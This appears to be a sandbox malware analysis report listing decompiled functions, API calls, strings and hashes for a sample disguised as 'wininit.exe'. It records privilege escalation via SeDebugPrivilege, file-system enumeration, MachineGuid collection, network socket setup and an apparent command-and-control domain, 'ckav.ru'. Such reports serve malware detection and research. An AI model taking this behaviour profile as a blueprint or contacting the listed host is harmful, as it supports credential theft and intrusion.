Source File: 00000006.00000002.1802962027.0000000006660000.00000040.00000800.00020000.00000000.sdmp, Offset: 06660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6660000_wininit.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: a5cd33f54634b6688b16e5261536b99e96f987f0ce7277c342022de7c7fea9dd
Instruction ID: f73b954b796960fccc8660f09fb321f44c536e1753759209573d5b50843f2046
Opcode Fuzzy Hash: a5cd33f54634b6688b16e5261536b99e96f987f0ce7277c342022de7c7fea9dd
Instruction Fuzzy Hash: BB1122B58003489FDB10DF8AD884BDEBBF8EB48324F108459E958B7310C374A944CFA5

Function 00B8D3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1793727378.0000000000B8D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b8d000_wininit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae505882361efc24b18d87f0cedcd127b74812a760b64a1677f1949fc1379a00
Instruction ID: 770c3b8b9fef83106fe1e2bd5b980ea012fa8f21e580add168c3b8ac4affa169
Opcode Fuzzy Hash: ae505882361efc24b18d87f0cedcd127b74812a760b64a1677f1949fc1379a00
Instruction Fuzzy Hash: 1E210A71504204DFDB05EF14D9C4B17BFA5FB94324F28C5AAD9094B3A6C336E856C7A1

Function 0234D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1794255277.000000000234D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0234D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_234d000_wininit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89778cbf66811a87c3197a17e8b6527b728ca2930442b54d06644e5adffa6415
Instruction ID: df4932ab6fab0455fe0fc5644efb820e88b592646ca191792d6929a5b915ab38
Opcode Fuzzy Hash: 89778cbf66811a87c3197a17e8b6527b728ca2930442b54d06644e5adffa6415
Instruction Fuzzy Hash: E3212671614208EFDB05DF14D9C4B26BBE5FB88314F20C6ADED094B356CB36E446CA61

Function 0234D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1794255277.000000000234D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0234D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_234d000_wininit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44accc4db70db50dce255aaccfbb0c2b7ee24191b55ef55d0d951e83ddfd9fb3
Instruction ID: f43297d7cf24f248353d67eed9b1007f9c68d3672eb4a77ab900cc0f50bda99a
Opcode Fuzzy Hash: 44accc4db70db50dce255aaccfbb0c2b7ee24191b55ef55d0d951e83ddfd9fb3
Instruction Fuzzy Hash: 7E21F271604208DFDB14DF14D984B26BBA5FB84314F20C5ADD80A4B256CB3AF447CA61

Function 0234D006 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1794255277.000000000234D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0234D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_234d000_wininit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8c9f38149da2a4986f9f22c7eb5179d52923a8220985be17e746ff20e202217
Instruction ID: 344b507fa25bde0a5fbed0591196288511addc5d2f5cb297892e187c184f20df
Opcode Fuzzy Hash: b8c9f38149da2a4986f9f22c7eb5179d52923a8220985be17e746ff20e202217
Instruction Fuzzy Hash: 982192755083849FCB02CF14D994711BFB1EB46314F28C5DAD8498F2A7C33AE80ACB62

Function 00B8D3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1793727378.0000000000B8D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00B8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b8d000_wininit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: 91c6d6a8ed4bb326f18c4264613658aa4bff159436fc4d601d334a5edef4bf21
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: E711E172504240DFCB02DF00D5C4B16BFB1FB94324F28C2AAD8090B366C33AE85ACBA1

Function 0234D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1794255277.000000000234D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0234D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_234d000_wininit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 7d60935a8b480920fe3196e439fd810962426f737b340cd1b07231b5526abfaa
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: 11118B75504284DFDB16CF14D5C4B15BBB1FB84218F24C6AADC494B696C33AE44ACB61

Non-executed Functions

Function 06667658 Relevance: 1.6, Strings: 1, Instructions: 312COMMON

Download Yara Rule

Strings

z|>, xrefs: 066676B3

Memory Dump Source

Source File: 00000006.00000002.1802962027.0000000006660000.00000040.00000800.00020000.00000000.sdmp, Offset: 06660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6660000_wininit.jbxd

Similarity

API ID:
String ID: z|>
API String ID: 0-1134487427
Opcode ID: 09893f1c82730e581288e525053f608407b4faf40e9725881fff514d95694c38
Instruction ID: 60f905d4ed0e70c32ebf3dff6c4decd71956f76e029a9254f818591f6aa26c7c
Opcode Fuzzy Hash: 09893f1c82730e581288e525053f608407b4faf40e9725881fff514d95694c38
Instruction Fuzzy Hash: 6EE1FA74E101198FDB54DFA9D5809AEBBF2FF89304F248169E414A7359DB30AD42CFA0

Function 066656A8 Relevance: 1.6, Strings: 1, Instructions: 312COMMON

Download Yara Rule

Strings

Y>0, xrefs: 06665703

Memory Dump Source

Source File: 00000006.00000002.1802962027.0000000006660000.00000040.00000800.00020000.00000000.sdmp, Offset: 06660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6660000_wininit.jbxd

Similarity

API ID:
String ID: Y>0
API String ID: 0-1250427286
Opcode ID: 1466db5276448a9ab2ba75abc8008c2bed7e203db8e780151b18532a060e009d
Instruction ID: 68a0a5ce9ea08d32f7af16a2153eb9e668c6d4ebc0c5be89c26d565bd3e9eab8
Opcode Fuzzy Hash: 1466db5276448a9ab2ba75abc8008c2bed7e203db8e780151b18532a060e009d
Instruction Fuzzy Hash: FEE1FA74E102198FDB54DFA9D5819AEFBF2BF88304F248169E415AB355DB30AD42CFA0

Function 06665AE0 Relevance: 1.6, Strings: 1, Instructions: 312COMMON

Download Yara Rule

Strings

fo_N, xrefs: 06665B3B

Memory Dump Source

Source File: 00000006.00000002.1802962027.0000000006660000.00000040.00000800.00020000.00000000.sdmp, Offset: 06660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6660000_wininit.jbxd

Similarity

API ID:
String ID: fo_N
API String ID: 0-3502626514
Opcode ID: c37d3b220c62c62e137ed803e5cde82724a5d7cf57aa39237a2a8040c4b8030c
Instruction ID: 2bf9724422ef9f03c60aab4be8fd12fc51bc20e6484bcdecd21cfcc2a3b93b4b
Opcode Fuzzy Hash: c37d3b220c62c62e137ed803e5cde82724a5d7cf57aa39237a2a8040c4b8030c
Instruction Fuzzy Hash: 46E13C74E001198FDB54DFA9D5809AEFBF2FF88304F248169E415AB35ADB30A942CF60

Function 06665F18 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1802962027.0000000006660000.00000040.00000800.00020000.00000000.sdmp, Offset: 06660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6660000_wininit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2ac3c5ba3c3a8e1f8eb60309036bfb66437b731ee22159d0a0a4a849d4c035a
Instruction ID: 50e1adaf71d0a97a3677be3fc976278931495391b952a349583573923384b54f
Opcode Fuzzy Hash: a2ac3c5ba3c3a8e1f8eb60309036bfb66437b731ee22159d0a0a4a849d4c035a
Instruction Fuzzy Hash: 50E11A74E101198FDB54DFA9D5809AEFBF2BF88304F248169E414AB356DB30AD42CFA1

Function 06665270 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1802962027.0000000006660000.00000040.00000800.00020000.00000000.sdmp, Offset: 06660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6660000_wininit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92573f0c36616a7a068f2520178a4862eeebc58a35d5e3bc9b98d4841ebcb431
Instruction ID: a8348dd85f1736363eada92a332b1d7569269da9a15c349e03616591fad8d71b
Opcode Fuzzy Hash: 92573f0c36616a7a068f2520178a4862eeebc58a35d5e3bc9b98d4841ebcb431
Instruction Fuzzy Hash: 06E11974E001198FDB54DFA9D5819AEFBF2BF89304F248169E415AB356DB30AD42CFA0

Function 0254D51C Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1795011625.0000000002540000.00000040.00000800.00020000.00000000.sdmp, Offset: 02540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2540000_wininit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b0865cf86df219cd3e54170764b82f68353e3f5750979c631a7b9d103f918e4
Instruction ID: e11623caec824705e0c4126c67b273da74a9b0f9d928bc526b5358e852af35df
Opcode Fuzzy Hash: 5b0865cf86df219cd3e54170764b82f68353e3f5750979c631a7b9d103f918e4
Instruction Fuzzy Hash: E9A15F32A002068FCF15DFA8C84499EBBB2FF85308B15856AE905AB665DF75ED06CB40

Analysis Process: wininit.exePID: 2668, Parent PID: 4416COMMON

Execution Graph

Execution Coverage:	31%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.4%
Total number of Nodes:	1846
Total number of Limit Nodes:	92

Executed Functions

Function 00403D74 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 200
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(00000000,?,00000000,D4F4ACEA,00000000,00000000,00000001,00000000,00000000), ref: 00403DC4
FindNextFileW.KERNELBASE(00000000,00000010,00000000,CE4477CC,00000000,00000000), ref: 00403E8C
FindFirstFileW.KERNELBASE(00000000,?,00000000,D4F4ACEA,00000000,00000000,00000001,00000000,00000000), ref: 00403EDB
FindNextFileW.KERNELBASE(00000000,00000010,00000000,CE4477CC,00000000,00000000), ref: 00403F58

Strings

Program Files, xrefs: 00403E01
%s\%s, xrefs: 00403E3A, 00403EAF, 00403F1C
Windows, xrefs: 00403DEA
%s\*, xrefs: 00403D99

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: FileFind$FirstNext
String ID: %s\%s$%s\*$Program Files$Windows
API String ID: 1690352074-2009209621
Opcode ID: 1e3e6a10e2b9ec909b5a5a789c8a5300318a12692afde49798013ba2296699ae
Instruction ID: acb13e71dd503001dda9649917d64d786dba47cd8022a2b45c5045a1a8a297e9
Opcode Fuzzy Hash: 1e3e6a10e2b9ec909b5a5a789c8a5300318a12692afde49798013ba2296699ae
Instruction Fuzzy Hash: A651F3329006197AEB14AEB4DD8AFAB3B6CDB45719F10013BF404B51C1EA7CEF80865C

Function 0040650A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,SeDebugPrivilege,?,00000009,C6C3ECBB,00000000,00000000,?,00000000,?,?,?,?,?,0040F9DC), ref: 0040654E
AdjustTokenPrivileges.KERNELBASE(?,00000000,?,00000010,00000000,00000000,00000009,C1642DF2,00000000,00000000,00000000,?,00000000), ref: 00406589

Strings

SeDebugPrivilege, xrefs: 00406548

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: AdjustLookupPrivilegePrivilegesTokenValue
String ID: SeDebugPrivilege
API String ID: 3615134276-2896544425
Opcode ID: e2948c256eaff89fcf02f3bc2ef1638e4caf3df8a7acb90b2cc554f1a6e3f5aa
Instruction ID: 1578144bc241a5b33ff73db231d5495ab0f4fd5df9d31338026c5631bf24f4b3
Opcode Fuzzy Hash: e2948c256eaff89fcf02f3bc2ef1638e4caf3df8a7acb90b2cc554f1a6e3f5aa
Instruction Fuzzy Hash: A1117331A00219BAD710EEA79D4AEAF7ABCDBCA704F10006EB504F6181EE759B018674

Function 00402B7C Relevance: 3.0, APIs: 2, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 06d42fc3960a44692cfa347aceea0432181886377ca781978571395af1b358ed
Instruction ID: b98118a04cfb303fc975c2cf6dbcabe8739d57b69ee549b18d4bacd194132a09
Opcode Fuzzy Hash: 06d42fc3960a44692cfa347aceea0432181886377ca781978571395af1b358ed
Instruction Fuzzy Hash: 14D05E36A01A24B7CA212FD5AC09FCA7F2CEF48BE6F044031FB0CAA290D675D91047D9

Function 004061C3 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 151
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,00414449), ref: 004061F4
_wmemset.LIBCMT ref: 00406244
_wmemset.LIBCMT ref: 00406261
GetTokenInformation.KERNELBASE(IDA,00000001,00000000,00000000,?,00000009,ECAE3497,00000000,00000000,00000000), ref: 0040628C

Strings

IDA, xrefs: 004061E5, 00406276, 004062AC, 0040621D, 004061E8, 00406220, 0040628B
IDA, xrefs: 00406304

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: _wmemset$ErrorInformationLastToken
String ID: IDA$IDA
API String ID: 487585393-2020647798
Opcode ID: a5e5aa255662804c4e67c84550f50b624ac64f77e5461781f5e6cba767b6fa0d
Instruction ID: 96d4363135ba53d30ed73ccdf96fe48b30064626948d25b168d4296351bbaec2
Opcode Fuzzy Hash: a5e5aa255662804c4e67c84550f50b624ac64f77e5461781f5e6cba767b6fa0d
Instruction Fuzzy Hash: 6641B372900206BAEB10AFE69C46EEF7B7CDF95714F11007FF901B61C1EE799A108668

Function 00404E17 Relevance: 7.6, APIs: 5, Instructions: 72
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getaddrinfo.WS2_32(00000000,00000001,?,00000000), ref: 00404E4F
socket.WS2_32(?,?,?), ref: 00404E7A
freeaddrinfo.WS2_32(00000000), ref: 00404E90

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: freeaddrinfogetaddrinfosocket
String ID:
API String ID: 2479546573-0
Opcode ID: 9c818cadf116e8ca79a2f09a86e0f8d7b5ee6602657faf0bd8bae176804bdd2a
Instruction ID: d63855dbb6a3d3c0c8ebf90f2bb9ce8455fd2b7eef63007fec5ba55d39dacf84
Opcode Fuzzy Hash: 9c818cadf116e8ca79a2f09a86e0f8d7b5ee6602657faf0bd8bae176804bdd2a
Instruction Fuzzy Hash: 9621BBB2500109FFCB106FA0ED49ADEBBB5FF88315F20453AF644B11A0C7399A919B98

Function 004040BB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000080,00000000,00000000,E9FABB88,00000000,00000000,00000000,00000001,00000000), ref: 004040E8
VirtualAlloc.KERNELBASE(00000000,00000000,00001000,00000004,00000000,D4EAD4E2,00000000,00000000), ref: 0040413A
ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000,CD0C9940,00000000,00000000), ref: 0040415A

Strings

.tmp, xrefs: 00404196

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: File$AllocCreateReadVirtual
String ID: .tmp
API String ID: 3585551309-2986845003
Opcode ID: 9631e6f5e9699617cd127c849230d2104622380ed218987cebf5414177a879fc
Instruction ID: b436c3373f33a6751ef3154d9799880e4ac32c23f8ae8b62b11f674aa4b57f97
Opcode Fuzzy Hash: 9631e6f5e9699617cd127c849230d2104622380ed218987cebf5414177a879fc
Instruction Fuzzy Hash: 2C31F87150112477D721AE664C49FDF7E6CDFD67A4F10003AFA08BA2C1DA799B41C2E9

Function 00413866 Relevance: 4.6, APIs: 3, Instructions: 147synchronizationCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000003,00000000,D1E96FCD,00000000,00000000,00000000,00000000), ref: 00413885
CreateMutexW.KERNELBASE(00000000,00000001,00000000,00000000,CF167DF4,00000000,00000000), ref: 0041399C
GetLastError.KERNEL32 ref: 0041399E

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: Error$CreateLastModeMutex
String ID:
API String ID: 3448925889-0
Opcode ID: 5dd40e4cfd1fe52203b1fe5968f304513c4092ad3980e50a04d496178e49115f
Instruction ID: 7738172b6d33d5602fc402945caed90a0cea100ae195543e4e9fee3f6653e559
Opcode Fuzzy Hash: 5dd40e4cfd1fe52203b1fe5968f304513c4092ad3980e50a04d496178e49115f
Instruction Fuzzy Hash: 11415E61964348A8EB10ABF1AC82EFFA738EF54755F10641FF504F7291E6794A80836E

Function 004042CF Relevance: 4.6, APIs: 3, Instructions: 60fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,C0000000,00000000,00000000,00000004,00000080,00000000,00000000,E9FABB88,00000000,00000000,00000000,00000001,?,?,004146E2), ref: 004042F9
SetFilePointer.KERNELBASE(00000000,00000000,00000000,00000002,00000000,EEBAAE5B,00000000,00000000,?,?,004146E2,00000000,00000000,?,00000000,00000000), ref: 00404314
WriteFile.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,C148F916,00000000,00000000,?,?,004146E2,00000000,00000000,?,00000000), ref: 00404334

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: File$CreatePointerWrite
String ID:
API String ID: 3672724799-0
Opcode ID: b52d99f42f68723aef5fd834f3fc6c8fdb7b2d5b4e411be9fbae0770ffe78be6
Instruction ID: 60e70a0f6cedc7b52d1efda55ce7422740d02a59a4e71dca7f773cbcdc95941a
Opcode Fuzzy Hash: b52d99f42f68723aef5fd834f3fc6c8fdb7b2d5b4e411be9fbae0770ffe78be6
Instruction Fuzzy Hash: 2F014F315021343AD6356A679C0EEEF6D5DDF8B6B5F10422AFA18B60D0EA755B0181F8

Function 00412D31 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 178threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,0041289A,00000000,00000000,?,00000000,FCAE4162,00000000,00000000,?,?,?,?,00000001,00000000), ref: 00412F53

Part of subcall function 0040632F: _wmemset.LIBCMT ref: 0040634F

Part of subcall function 00402BAB: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402BB9
Part of subcall function 00402BAB: HeapFree.KERNEL32(00000000), ref: 00402BC0

Strings

ckav.ru, xrefs: 00412D96

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: Heap$CreateFreeProcessThread_wmemset
String ID: ckav.ru
API String ID: 2915393847-2696028687
Opcode ID: eacd1f59d46a33f08cf175cca3b3b274a2abcb1d178fb3fa8030531899280e62
Instruction ID: 4531c2d42d5f5f74382d08a8027233dc497c0745a20cb628f46216a694decd77
Opcode Fuzzy Hash: eacd1f59d46a33f08cf175cca3b3b274a2abcb1d178fb3fa8030531899280e62
Instruction Fuzzy Hash: 7751B7728005047EEA113B62DD4ADEB3669EB2034CB54423BFC06B51B2E67A4D74DBED

Function 0040632F Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 00402B7C: GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
Part of subcall function 00402B7C: RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

_wmemset.LIBCMT ref: 0040634F

Strings

CA, xrefs: 00406354, 0040635A

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcess_wmemset
String ID: CA
API String ID: 2773065342-1052703068
Opcode ID: a8ac9dcd0bdef4118ea85f480caa20ceae6cf91017b4610bad34c656c12023a0
Instruction ID: fc433e2548431d42ded6bbe1dab57db4bffb986d933035261d01f02eae51e62b
Opcode Fuzzy Hash: a8ac9dcd0bdef4118ea85f480caa20ceae6cf91017b4610bad34c656c12023a0
Instruction Fuzzy Hash: 0FE09B62A4511477D121A9665C06EAF76AC8F41B64F11017FFC05B62C1E9BC9E1101FD

Function 00406086 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(?,00000000,00000001,?,004062B4,00000009,ECAE3497,00000000,00000000,IDA,004062B4,IDA,00000001,00000000,?,?), ref: 004060A8

Strings

IDA, xrefs: 00406086

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: InformationToken
String ID: IDA
API String ID: 4114910276-365204570
Opcode ID: 947dba5d192e13df99ca19526492baac9a77df32751a8a878116f3f8cb9ab45e
Instruction ID: 313645685f6ff1854c13b9bf72d10cc52e042395484f5c11e0c3c7a214e99d66
Opcode Fuzzy Hash: 947dba5d192e13df99ca19526492baac9a77df32751a8a878116f3f8cb9ab45e
Instruction Fuzzy Hash: F4D0C93214020DBFEF025EC1DC02F993F2AAB08754F008410BB18280E1D6B39670AB95

Function 00402C03 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNELBASE(?,s1@,00000000,CEB18ABC,00000000,00000000,?,00403173,?,00000000), ref: 00402C1B

Strings

s1@, xrefs: 00402C15

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: AddressProc
String ID: s1@
API String ID: 190572456-427247929
Opcode ID: 111d3fe3cf3de278b88478875a5240f52c9cc91b538b26207c7303d9e6a3f6a3
Instruction ID: 1fbf97b0b55819c82851c7ea3a697f1c0796d20c97a22cfecd58a5260392007e
Opcode Fuzzy Hash: 111d3fe3cf3de278b88478875a5240f52c9cc91b538b26207c7303d9e6a3f6a3
Instruction Fuzzy Hash: A5C048B10142087EAE016EE19C05CBB3F5EEA44228B008429BD18E9122EA3ADE2066A4

Function 00404A52 Relevance: 3.1, APIs: 2, Instructions: 63registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402B7C: GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
Part of subcall function 00402B7C: RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

RegOpenKeyExA.KERNELBASE(00000032,?,00000000,00020119,00000000,00000009,F4B4ACDC,00000000,00000000,MachineGuid,00000032,00000000,00413DA5,00413987), ref: 00404A9A
RegQueryValueExA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000009,00000009,FE9F661A,00000000,00000000), ref: 00404ABC

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: Heap$AllocateOpenProcessQueryValue
String ID:
API String ID: 1425999871-0
Opcode ID: cde82c20d06cc90513d2926ae88c3b2314f77feeb194b7ecfbb340b9f5de6e47
Instruction ID: c751ae4fb1a51baa23b068920df28fa5e45e9ad9ad003da97b765f6d6e9ada80
Opcode Fuzzy Hash: cde82c20d06cc90513d2926ae88c3b2314f77feeb194b7ecfbb340b9f5de6e47
Instruction Fuzzy Hash: A301B1B264010C7EEB01AED69C86DBF7B2DDB81798B10003EF60475182EAB59E1156B9

Function 004060BD Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

CheckTokenMembership.KERNELBASE(00000000,00000000,00000000,00000009,E3B938DF,00000000,00000000,00000001), ref: 00406115

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: CheckMembershipToken
String ID:
API String ID: 1351025785-0
Opcode ID: 4a43c4ed47dff20a0e63da0344eb6b70d0e7b4795f78c2e23bdd5dfdab477f71
Instruction ID: 8b780b9e56efd5f2a9a2252a5f210822aeafba94d0ba5a8497d60ad8274f78a0
Opcode Fuzzy Hash: 4a43c4ed47dff20a0e63da0344eb6b70d0e7b4795f78c2e23bdd5dfdab477f71
Instruction Fuzzy Hash: 7801867195020DBEEB00EBE59C86EFFB77CEF08208F100569B515B60C2EA75AF008764

Function 00403C62 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(00413D1F,00000000,00000000,C8F0A74D,00000000,00000000,00000000,?,00413D1F,00000000), ref: 00403C8B

Memory Dump Source

Source File: 00000009.00000002.2881298963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_wininit.jbxd

Yara matches

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: d413ab25134c4b1c761ae7c40b175d3f6038492197e92d4c0305fa2d5b60993a
Instruction ID: 8def336d827aa123259dd30fe2d1f4df156212ecddfe904d71fbacf529eca846
Opcode Fuzzy Hash: d413ab25134c4b1c761ae7c40b175d3f6038492197e92d4c0305fa2d5b60993a
Instruction Fuzzy Hash: 47D05E320450687A9A202AA7AC08CDB3E0DDE032FA7004036B81CE4052DB26861191E4

Function 0040642C Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNELBASE(?,00000000,E9AF4586,00000000,00000000,?,?,?,?,004144CF,00000000,00000000,00000000,00000000), ref: 00406445

Memory Dump Source

